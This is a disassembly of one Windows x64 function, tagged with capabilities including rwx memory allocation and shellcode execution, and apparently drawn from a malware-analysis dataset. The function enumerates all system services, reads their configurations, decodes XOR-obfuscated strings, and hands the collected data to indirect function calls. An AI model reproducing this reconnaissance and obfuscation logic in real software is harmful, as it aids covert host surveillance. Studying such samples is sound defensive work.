Function at 0x1800198e4
Capabilities:
Allocate or change rwx memory
Enumerate services
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xcb8]
sub rsp, 0xdb8
mov r12, qword [rcx]
xor ebx, ebx
mov qword [rsp + 0x68], r12
mov dword [rbp + 0xd00], ebx
mov dword [rbp + 0xd10], ebx
mov dword [rbp + 0xd08], ebx
call fcn.1800042a4
xor edx, edx
mov qword [rbp + 0xd18], rax
xor ecx, ecx
mov r8d, 0xf003f
mov r14, rax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x38], rbx
lea esi, [rbx + 3]
mov r13, rax
lea r15d, [rbx + 0x30]
lea rax, [rbp + 0xd08]
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov r8d, esi
lea rax, [rbp + 0xd00]
mov edx, r15d
mov qword [rsp + 0x28], rax
mov rcx, r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov edx, dword [rbp + 0xd00]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x18001a1f4
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0xd08]
mov qword [rsp + 0x30], rax
mov r9, rdi
lea rax, [rbp + 0xd00]
mov r8d, esi
mov qword [rsp + 0x28], rax
mov edx, r15d
mov eax, dword [rbp + 0xd00]
mov rcx, r13
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov r15d, ebx
cmp dword [rbp + 0xd08], ebx
jbe 0x18001a142
movabs rsi, 0x6bc1629f3926102c
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0xa18
call sub.ntdll.dll_memset
mov eax, r15d
mov r8d, 0xf01ff
mov rcx, r13
lea rbx, [rax + rax*2]
add rbx, rbx
mov rdx, qword [rdi + rbx*8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r12, rax
test rax, rax
je 0x18001a124
mov rcx, qword [rdi + rbx*8]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rbp + 0x290]
lea eax, [rax*2 + 2]
cmp eax, 0xc8
jbe 0x180019a49
mov r8d, 0xc8
jmp 0x180019a4f
lfence
mov r8d, eax
mov rdx, qword [rdi + rbx*8]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rdi + rbx*8 + 8]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rbp + 0x358]
lea eax, [rax*2 + 2]
cmp eax, 0x208
jbe 0x180019a81
mov r8d, 0x208
jmp 0x180019a87
lfence
mov r8d, eax
mov rdx, qword [rdi + rbx*8 + 8]
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
mov edx, 0x2000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x18001a124
lea rax, [rbp + 0xd10]
mov r9d, 0x2000
mov r8, r14
mov qword [rsp + 0x20], rax
mov edx, 1
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfig2W]
mov rcx, qword [r14]
test rcx, rcx
je 0x180019b11
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, 0x400
lea eax, [rax*2 + 2]
cmp eax, ecx
jbe 0x180019afb
mov r8d, ecx
jmp 0x180019b01
lfence
mov r8d, eax
mov rdx, qword [r14]
lea rcx, [rbp + 0x560]
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [rdi + rbx*8 + 0x14]
xor eax, eax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movabs rax, 0xb1f5694e331e1997
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
sub ecx, 1
je 0x180019d09
sub ecx, 1
je 0x180019cd5
sub ecx, 1
je 0x180019ca1
sub ecx, 1
je 0x180019c6a
sub ecx, 1
je 0x180019c33
sub ecx, 1
je 0x180019bfc
cmp ecx, 1
lea rcx, [rsp + 0x40]
je 0x180019bbc
mov qword [rbp + 0x180], rax
lea rdx, [rbp + 0x260]
movabs rax, 0xb1f5694ebe3b40a6
mov qword [rbp + 0x178], rsi
mov qword [rbp + 0x170], rax
movups xmm0, xmmword [rbp + 0x170]
mov qword [rbp + 0x188], rsi
pxor xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x260], xmm0
jmp 0x180019d49
mov qword [rbp - 0x40], rax
lea rdx, [rbp + 0x270]
movabs rax, 0xb1f5694e63427f15
mov qword [rbp + 0x198], rsi
mov qword [rbp + 0x190], rax
movups xmm0, xmmword [rbp + 0x190]
mov qword [rbp - 0x38], rsi
pxor xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp + 0x270], xmm0
jmp 0x180019d49
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x280]
movabs rax, 0xb1f5276363427f15
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x30], rax
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x18], rsi
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x280], xmm0
jmp 0x180019d44
mov qword [rbp], rax
lea rdx, [rbp + 0x1a0]
movabs rax, 0xb1f5694e4df36770
mov qword [rbp - 8], rsi
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp - 0x10]
mov qword [rbp + 8], rsi
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x1a0], xmm0
jmp 0x180019d44
mov qword [rbp + 0x20], rax
lea rdx, [rbp + 0x1b0]
movabs rax, 0xb1f52763bb529647
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x28], rsi
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x1b0], xmm0
jmp 0x180019d44
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x1c0]
movabs rax, 0xb1f52763587c49cb
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0x48], rsi
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x1c0], xmm0
jmp 0x180019d44
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x1d0]
movabs rax, 0xe83e364e643672f4
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [rbp + 0x50]
mov qword [rbp + 0x68], rsi
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x1d0], xmm0
jmp 0x180019d44
mov qword [rbp + 0x80], rax
lea rdx, [rbp + 0x1e0]
movabs rax, 0xb1f5694e587c49cb
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x70], rax
movups xmm0, xmmword [rbp + 0x70]
mov qword [rbp + 0x88], rsi
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov r8d, 0x28
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x960]
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
mov edx, 0x2000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18001a124
lea r9, [rbp + 0xd10]
mov r8d, 0x2000
mov rdx, rax
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [rbx + 4]
test eax, eax
je 0x180019f77
sub eax, 1
je 0x180019f27
lea rcx, [rsp + 0x70]
sub eax, 1
je 0x180019ed4
sub eax, 1
je 0x180019e81
cmp eax, 1
movabs rax, 0xb1f5694e331e1997
je 0x180019e38
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x1f0]
movabs rax, 0xb1f5694ebe3b40a6
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0x90], rax
movups xmm0, xmmword [rbp + 0x90]
mov qword [rbp + 0xa8], rsi
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x1f0], xmm0
jmp 0x180019fca
mov qword [rbp + 0xc0], rax
lea rdx, [rbp + 0x200]
movabs rax, 0xe35d3d61587c6016
mov qword [rbp + 0xb8], rsi
mov qword [rbp + 0xb0], rax
movups xmm0, xmmword [rbp + 0xb0]
mov qword [rbp + 0xc8], rsi
pxor xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x200], xmm0
jmp 0x180019fca
movabs rax, 0xb1f5694e331e1997
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0x210]
movabs rax, 0xe35d3d6161b67bdc
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xd0], rax
movups xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x210], xmm0
jmp 0x180019fca
movabs rax, 0xb1f5694e331e1997
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x100], rax
lea rdx, [rbp + 0x220]
movabs rax, 0xe35d3d6161b6987d
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0xf0], rax
movups xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x220], xmm0
jmp 0x180019fca
movabs rax, 0xb1f5694e331e1997
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0x230]
movabs rax, 0xe35d3d614dc1656c
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x110], rax
movups xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x230], xmm0
jmp 0x180019fc5
movabs rax, 0xb1f5694e331e1997
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x140], rax
lea rdx, [rbp + 0x240]
movabs rax, 0xb1f5694e61b64db8
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x130], rax
movups xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x240], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov r8d, 0x28
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x988]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 0xc8
lea rcx, [rbp + 0x9b0]
lea eax, [rax*2 + 2]
cmp eax, r8d
ja 0x18001a011
lfence
mov r8d, eax
mov rdx, qword [rbx + 0x30]
call qword [sym.imp.ntdll.dll_memcpy]
cmp dword [rbx], 0x100
lea rsi, [0x18002f938]
jb 0x18001a082
movabs rax, 0xb1f5694e331e1997
lea rsi, [rbp + 0x250]
mov qword [rbp + 0x160], rax
movabs rcx, 0x6bc1629f3926102c
movabs rax, 0xb1f5694e331e7fb8
mov qword [rbp + 0x158], rcx
mov qword [rbp + 0x150], rax
movups xmm0, xmmword [rbp + 0x150]
mov qword [rbp + 0x168], rcx
pxor xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x250], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, rsi
lea rcx, [rbp + 0xa78]
lea r8d, [rax*2 + 2]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 0x208
lea rcx, [rbp + 0xaa0]
lea eax, [rax*2 + 2]
cmp eax, r8d
ja 0x18001a0cc
lfence
mov r8d, eax
mov rdx, qword [rbx + 0x10]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, qword [rbp + 0xd18]
lea rdx, [rbp + 0x290]
mov r8d, 0xa18
mov rcx, rax
call qword [rax + 0x28]
mov esi, 0x8000
xor edx, edx
mov r8d, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, esi
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
movabs rsi, 0x6bc1629f3926102c
inc r15d
cmp r15d, dword [rbp + 0xd08]
jb 0x1800199e5
mov r14, qword [rbp + 0xd18]
xor ebx, ebx
mov r12, qword [rsp + 0x68]
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_LocalFree]
xorps xmm0, xmm0
mov dword [rbp - 0x4c], ebx
movdqu xmmword [rbp - 0x64], xmm0
mov dword [rbp - 0x44], ebx
mov rcx, r14
mov dword [rbp - 0x68], 0x134d74f
mov dword [rbp - 0x54], 0x6000
mov rax, qword [r14 + 0x30]
call rax
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x48], ebx
call fcn.1800042a4
mov r8d, 0x28
lea rdx, [rbp - 0x68]
mov rcx, rax
mov rsi, rax
call qword [rax + 0x28]
mov rdx, qword [r14 + 0x30]
mov rcx, r14
mov rdi, qword [rsi + 0x28]
call rdx
mov r8, qword [r14 + 0x38]
xor edx, edx
mov rcx, r14
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call rdi
mov rax, qword [rsi + 0x30]
mov rcx, rsi
mov rdi, qword [r12 + 0x30]
call rax
mov r8, qword [rsi + 0x38]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, r12
call rdi
mov rcx, r14
call fcn.180004324
mov rcx, rsi
call fcn.180004324
xor eax, eax
add rsp, 0xdb8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret